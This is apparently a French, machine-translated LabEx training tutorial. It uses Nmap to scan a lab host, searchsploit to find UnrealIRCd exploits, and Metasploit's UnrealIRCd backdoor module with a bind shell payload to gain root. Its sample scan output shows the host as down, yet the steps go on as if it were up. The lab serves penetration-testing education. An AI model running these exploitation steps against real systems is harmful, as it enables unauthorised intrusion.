Utilisez Nmap pour scanner et exploiter les vulnérabilités d'un hôte cible

CybersecurityCybersecurityBeginner
Pratiquer maintenant

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Le balayage réseau est une discipline extrêmement pratique. Grâce au balayage réseau, les utilisateurs peuvent découvrir les ports attribués à divers services sur l'hôte cible, les services ouverts, les logiciels de service et leurs versions, ainsi que d'autres informations.

Dans ce laboratoire (LabEx), vous apprendrez à scanner les vulnérabilités de sécurité des services réseau d'un hôte cible.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL cybersecurity(("Cybersecurity")) -.-> cybersecurity/NmapGroup(["Nmap"]) nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) cybersecurity/NmapGroup -.-> cybersecurity/nmap_port_scanning("Nmap Port Scanning Methods") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") subgraph Lab Skills cybersecurity/nmap_port_scanning -.-> lab-416121{{"Utilisez Nmap pour scanner et exploiter les vulnérabilités d'un hôte cible"}} nmap/port_scanning -.-> lab-416121{{"Utilisez Nmap pour scanner et exploiter les vulnérabilités d'un hôte cible"}} end

Utiliser Nmap pour scanner les ports ouverts sur l'hôte cible

Le flux de travail de base du balayage réseau est le suivant :

  1. Découvrir l'hôte cible
  2. Balayage des ports
  3. Balayage des informations d'empreinte digitale (fingerprint)
  4. Balayage des vulnérabilités
  5. Effectuer des attaques de pénétration

Nmap (Network Mapper) est un outil de balayage réseau puissant. Il prend en charge diverses techniques de balayage, telles que UDP, TCP connect(), TCP SYN (balayage semi-ouvert), FTP proxy (attaque par rebond), drapeau inverse, ICMP, FIN, ACK scanning, SYN scanning et balayage null.

Dans cette étape, vous utiliserez Nmap pour scanner les ports ouverts sur l'hôte cible.

  1. Ouvrez un terminal et entrez dans le conteneur Kali :
docker run -ti --network host b5b709a49cd5 bash
  1. Utilisez la commande nmap pour scanner l'hôte cible 192.168.122.102 :
nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt

Cette commande scanne tous les ports de 1 à 65535 sur l'hôte cible, avec une politique de temporisation de 4 (plus rapide), active l'empreinte digitale du système d'exploitation (OS fingerprinting) et la détection de version, et enregistre la sortie dans /tmp/report.txt.

Analyser les résultats du scan

Après avoir scanné l'hôte cible, vous devez analyser les résultats du scan pour identifier les vulnérabilités potentielles.

  1. Consultez le rapport de scan :
cat /tmp/report.txt

Cette commande affiche le contenu du fichier /tmp/report.txt, qui contient des informations sur les ports ouverts, les services et les versions de l'hôte cible. Voici un exemple de sortie que vous pourriez voir :

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating ARP Ping Scan at 15:28
Scanning 192.168.122.102 [1 port]
Completed ARP Ping Scan at 15:28, 1.42s elapsed (1 total hosts)
Nmap scan report for 192.168.122.102 [host down]
NSE: Script Post-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 1.98 seconds
           Raw packets sent: 2 (56B) | Rcvd: 0 (0B)
  1. Utilisez l'outil searchsploit pour rechercher des informations sur les vulnérabilités :
searchsploit unreal ircd

Cette commande recherche dans la base de données des exploits (Exploit Database) les vulnérabilités liées au service "unreal ircd". Voici un exemple de sortie que vous pourriez voir :

---------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                  |  Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)                                                    | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow                                                         | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute                                                                  | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service                                                                       | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
  1. Consultez les détails d'une vulnérabilité :
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb

Cette commande affiche le contenu du fichier d'exploit de vulnérabilité situé à l'emplacement /usr/share/exploitdb/exploits/linux/remote/16922.rb.

Exploiter une vulnérabilité

Après avoir analysé les résultats du scan et identifié les vulnérabilités potentielles, vous pouvez tenter d'exploiter une vulnérabilité pour effectuer une attaque de pénétration.

  1. Identifiez une vulnérabilité exploitable à partir des résultats du scan. Par exemple, supposons que le scan ait trouvé un port 6667 ouvert avec un service vulnérable.

  2. Lancez le Framework Metasploit :

cd ~
msfconsole
  1. Dans la console Metasploit, sélectionnez le module d'exploitation approprié :
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. Définissez l'adresse IP de l'hôte cible :
set RHOST 192.168.122.102
  1. Définissez la charge utile (payload) :
set PAYLOAD cmd/unix/bind_perl
  1. Lancez l'exploitation :
exploit

Si l'exploitation réussit, vous aurez accès à l'hôte cible.

  1. Après avoir tenté d'exploiter une vulnérabilité, vous devez vérifier si l'exploitation a réussi. Dans la session Metasploit, vérifiez l'utilisateur actuel et le nom d'hôte :
whoami
hostname

Si la sortie indique que vous êtes connecté en tant qu'utilisateur root et que le nom d'hôte correspond à l'hôte cible, l'exploitation a réussi.

Appuyez sur Ctrl+D pour quitter la console Metasploit, puis commencez l'inspection

Résumé

Dans ce laboratoire (LabEx), vous avez appris le flux de travail de base du balayage réseau, qui comprend la découverte de l'hôte cible, le balayage des ports, le balayage des informations d'empreinte digitale (fingerprint), le balayage des vulnérabilités et la réalisation d'attaques de pénétration. Vous avez utilisé l'outil puissant Nmap pour scanner les ports ouverts sur l'hôte cible et analysé les résultats du scan pour identifier les vulnérabilités potentielles. De plus, vous avez appris à rechercher des informations sur les vulnérabilités à l'aide de l'outil searchsploit et à exploiter une vulnérabilité à l'aide du Framework Metasploit. Enfin, vous avez vérifié le succès de l'exploitation en vérifiant l'utilisateur actuel et le nom d'hôte sur l'hôte cible.

Grâce à ce laboratoire pratique, vous avez acquis une expérience pratique dans le balayage des vulnérabilités de sécurité des services réseau et la réalisation d'attaques de pénétration. Cette connaissance est essentielle pour garantir la sécurité des systèmes réseau et identifier les risques potentiels.